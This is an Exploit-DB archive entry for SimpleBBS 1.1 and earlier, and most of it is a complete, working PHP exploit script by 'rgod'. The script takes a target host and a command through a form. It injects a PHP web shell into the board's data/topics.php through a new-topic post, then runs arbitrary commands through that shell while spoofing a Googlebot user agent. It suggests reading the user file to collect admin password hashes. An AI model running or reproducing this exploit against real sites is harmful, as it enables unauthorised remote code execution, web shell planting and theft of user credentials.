SimpleBBS <= 1.1 - Remote Commands Execution Exploit

2005-12-06T00:00:00
ID EDB-ID:1358
Type exploitdb
Reporter rgod
Modified 2005-12-06T00:00:00

Description

SimpleBBS <= 1.1 Remote Commands Execution Exploit. Webapps exploit for php platform

                                        
                                            &lt;?php
#  ---simplebbs_11_xpl.php                              19.42 02/12/2005       #
#                                                                              #
#                SimpleBBS &lt;= v1.1  remote commands execution                  #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -&gt; this works regardless of magic_quotes_gpc settings                       #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "He will win who knows when to fight and when not to fight."       #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'&lt;html&gt;&lt;head&gt;&lt;title&gt;***** SimpleBBS &lt;= v1.1  remote commands execution *****
&lt;/title&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;
&lt;style type="text/css"&gt; body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--&gt;&lt;/style&gt;&lt;/head&gt;&lt;body&gt;&lt;p class="Stile6"&gt;
***** SimpleBBS &lt;= v1.1  remote commands execution ***** &lt;/p&gt;&lt;p class="Stile6"&gt;a
script  by  rgod  at        &lt;a href="http://rgod.altervista.org"target="_blank"&gt;
http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;&lt;table width="84%"&gt;&lt;tr&gt;&lt;td width="43%"&gt;  &lt;form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"&gt;&lt;p&gt;&lt;input
type="text"  name="host"&gt; &lt;span class="Stile5"&gt;* hostname (ex:www.sitename.com)
&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="text" name="path"&gt;  &lt;span class="Stile5"&gt;* path (ex:
/simplebbs/ or just / ) &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="text" name="command"&gt;   &lt;span
class="Stile5"&gt; * specify a command ( "cat ./../users/users.php" to  see     any
admin/user  MD5  paasword  hash &lt;/span&gt; &lt;/p&gt; &lt;p&gt; &lt;input type="text" name="port"&gt;
&lt;span class="Stile5"&gt;specify  a  port   other than  80 ( default  value )&lt;/span&gt;
&lt;/p&gt;&lt;p&gt;&lt;input  type="text"   name="proxy"&gt;&lt;span class="Stile5"&gt;  send    exploit
through an  HTTP proxy (ip:port)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type="submit" name="Submit"
 value="go!"&gt;&lt;/p&gt;&lt;/form&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '&lt;table border="0"&gt;&lt;tr&gt;';
while ($ii &lt;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "&lt;td&gt;&nbsp;&nbsp;&lt;/td&gt;";
             for ($li=0; $li&lt;=15; $li++)
                      { echo "&lt;td&gt;".$headeri[$li+$ki]."&lt;/td&gt;";
			    }
            $ki=$ki+16;
            echo "&lt;/tr&gt;&lt;tr&gt;";
            }
if (strlen($datai)==1) {echo "&lt;td&gt;0".$datai."&lt;/td&gt;";} else
{echo "&lt;td&gt;".$datai."&lt;/td&gt; ";}
$ii++;
$ji++;
}
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "&lt;td&gt;&nbsp&nbsp&lt;/td&gt;";
                       }

for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)
                      { echo "&lt;td&gt;".$headeri[$li]."&lt;/td&gt;";
			    }
echo "&lt;/tr&gt;&lt;/table&gt;";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "&lt;br&gt;";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.&lt;br&gt;";
                    echo "Attempting to connect to ".$host." on port ".$port."...&lt;br&gt;";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result &lt; 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "&lt;br&gt;&lt;br&gt;";
                                    }
	                       else
		                    {
                                     echo "OK.&lt;br&gt;&lt;br&gt;";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:&lt;br&gt;";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];


if (($host&lt;&gt;'') and ($path&lt;&gt;'') and ($command&lt;&gt;''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);

#STEP 1 -&gt; Inject a shell in data/topics.php ...
$CODE="\"&gt;&lt;!--&lt;?php error_reporting(0);print `\$_GET[cmd]`; die;?&gt;";
//we use backticks in shell to get rid of magic_quotes_gpc settings...
//so it works regardless of it...
$CODE=urlencode($CODE);
//you can inject arbitrary php code in name argument
$data="name=SUNTZUSUN".$CODE."&subject=Hi&message=Hi%20all&sendTopic=Send";
//if you set c to 0 you have an invisible post
$packet="POST ".$p."index.php?v=newtopic&c=0 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="User-Agent: Jyxobot/x\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);

#STEP 2 -&gt; Launch commands ...
$packet="GET ".$p."data/topics.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Googlebot/Test ( http://www.googlebot.com/bot.html)\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
}
else
{echo "Fill * required fields, optionally specify a proxy...";}

?&gt;

# milw0rm.com [2005-12-06]